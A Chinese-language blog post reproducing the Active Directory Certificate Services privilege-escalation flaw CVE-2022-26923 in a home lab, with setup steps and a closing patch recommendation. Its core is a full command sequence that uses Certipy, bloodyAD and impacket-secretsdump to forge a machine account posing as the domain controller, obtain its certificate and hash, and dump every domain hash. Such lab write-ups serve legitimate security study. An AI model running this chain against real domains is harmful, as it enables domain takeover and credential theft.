CVE-2022-26923 Windows域提權漏洞

Vice_2203發表於2023-01-01

前言

Active Directory 域服務,是一種目錄服務,提供了儲存目錄資料資訊以及使用者相關的一些密碼,電話號碼等等一些資料資訊,且可讓使用者和管理員使用這些資料,有利於域管理員對使用者的資料資訊進行管理。
AD CS (Active Directory Certipy Server)是允許你構建公鑰基礎機構 (PKI) 併為你的組織提供公鑰加密、數字證照和數字簽名功能的伺服器角色。

漏洞影響範圍

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

環境搭建

kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144

windows server 2012網路配置,這裡想改計算機全名但是忘記了,如果要好記得名字,可以安裝域前先改掉

這裡用到了windows server 2012的環境,首先搭建windows server 2012的AD域服務和域服務證照,這裡安裝步驟除了勾選的地方其他預設下一步

點選提升域控制,新增新林,然後下一步還原密碼後安裝重啟

ADCS證照安裝,新增功能,勾選AD證照服務,新增web證照頒發,開始安裝

配置證照服務,在角色服務勾選證照機構和證照web註冊,其他可以一直下一步,這裡為了其他配置不一樣的讀者,就都放出來了,都一樣的可以選擇跳過

配置成功結果圖

建立低許可權AD使用者,點選AD使用者和計算機,點選本地域 ,查詢User,雙擊進入,找到Administrator使用者 ,點選左側新建,新建使用者

新建使用者test,填寫全名,輸入密碼,勾選其他密碼選項,選擇密碼永不過期和不能更改密碼

配置window7網路配置以及加入域,這裡加入域xming.com,使用者是在域控新建的test,密碼是自己在域設定的密碼(注:我這裡只用到kali 和window server 2012就沒多加win7,方便演示,想用win7的老鐵可以參考以下win7配置)

kali配置
在kali需要兩個工具 Certipy 和bloody

certipy配置
https://github.com/ly4k/Certipy  //工具所在網址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安裝(這裡我用的是proxychains4的,也可以用proxychains,如果有的話)

這裡我是直接去github下載再複製到kali,就跳過第二條命令

由於我這裡因為pip沒裝,所以我又裝了pip
pip安裝的步驟參考此連結:https://www.cnblogs.com/BlogVice-2203/p/17011741.html

這裡我遇到的報錯是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0

然後再次安裝有出現報錯,說沒有dsinternals,又得pip install dsinternals

如果沒有遇到以下報錯,就直接執行成功

配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt

這裡報錯了,需要下載一個libkrb5-dev包
apt-get install libkrb5-dev

總結一下上面bloodyAD安裝
先執行apt-get install libkrb5-dev
再執行proxychains4 pip3 install -r requirements.txt看看是否有報錯
如果有就使用pip install 需要的安裝包(如果有需要必要的版本可以 pip install 安裝包==需要的版本號) 如上圖所示
最後再執行proxychains4 pip3 install -r requirements.txt會發現沒有報錯就是執行成功。

執行python3 bloodyAD.py -h,發現安裝成功,到此環境就搭建完成了

漏洞復現

執行以下程式碼之前需要執行
pip3 install certipy-ad

這是我的申請CA證照的poc
certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User

然後再執行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144

建立及其賬戶到域

使用bloodyAD檢視ms-DS-MachineAccountQuota屬性,如果ms-DS-MachineAccountQuota>0就可以建立機器帳戶
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144  getObjectAttributes "DC=xming,DC=com"  ms-DS-MachineAccountQuota
這裡一開始是報錯 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 為 from Cryptodome.Hash import MD4 
沒報錯且執行出來的老鐵可以不改

使用bloodyAD檢視ms-DS-MachineAccountQuota屬性,如果ms-DS-MachineAccountQuota>0就可以建立機器帳戶

在LDAP中建立一個機器帳戶,然後檢視Active Directory 使用者和計算機 點選computers 檢視到test66是我們建立出來的機器賬戶

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
建立一個test66密碼為jntm的機器賬戶

我們更新一下機器帳戶的DNSHostName,但是這裡出現了一個錯誤,我排除了一下是我們沒有給DNS讀取和寫入的許可權,勾選上兩個許可權,排除後重新執行就成功了

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'


python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

我們這裡就使用偽造的計算機賬戶進行證照申請,因為在計算機賬戶中,CA是使用DNSname的值來驗證,如果這個值是域控的DNSname,CA就會認為是域控,這裡為什麼說只用計算機賬戶而不用使用者賬戶(test),是因為使用者賬戶的具有一個使用者主體名稱UPN(User Principal Name),UPN是具有唯一性不可變的,而計算機賬戶沒有

根據MS-ADTS(3.1.1.5.1.3) 唯一性約束,UPN必須是唯一的,不能有兩個具有相同UPN的使用者

這裡使用的是計算機賬戶模板(Machine),不再是User
certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug

生成一個win-ue0s6a9db79.pfx
這裡調了一個bug 我把kali的閘道器改為了192.168.33.144否則總是報錯

certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144

這裡如果報錯KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新啟動一下你的AD CS而不是重啟虛擬機器(可以重啟但可能登陸不進去)

獲取所有域中的所有hash

impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79

PTH獲取域控

![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)

總結與修復建議

總結:該漏洞是由於安裝了域證照服務(AD CS),攻擊者可以使用計算機賬戶模板(Machine)建立機器賬戶,更新dnsname為域控的dnsname,獲取所有域hash,進一步拿到域控管理員許可權
修復建議:安裝微軟給出的補丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中說到域證照服務和域服務可以不用安裝到一臺伺服器,以規避風險

相關文章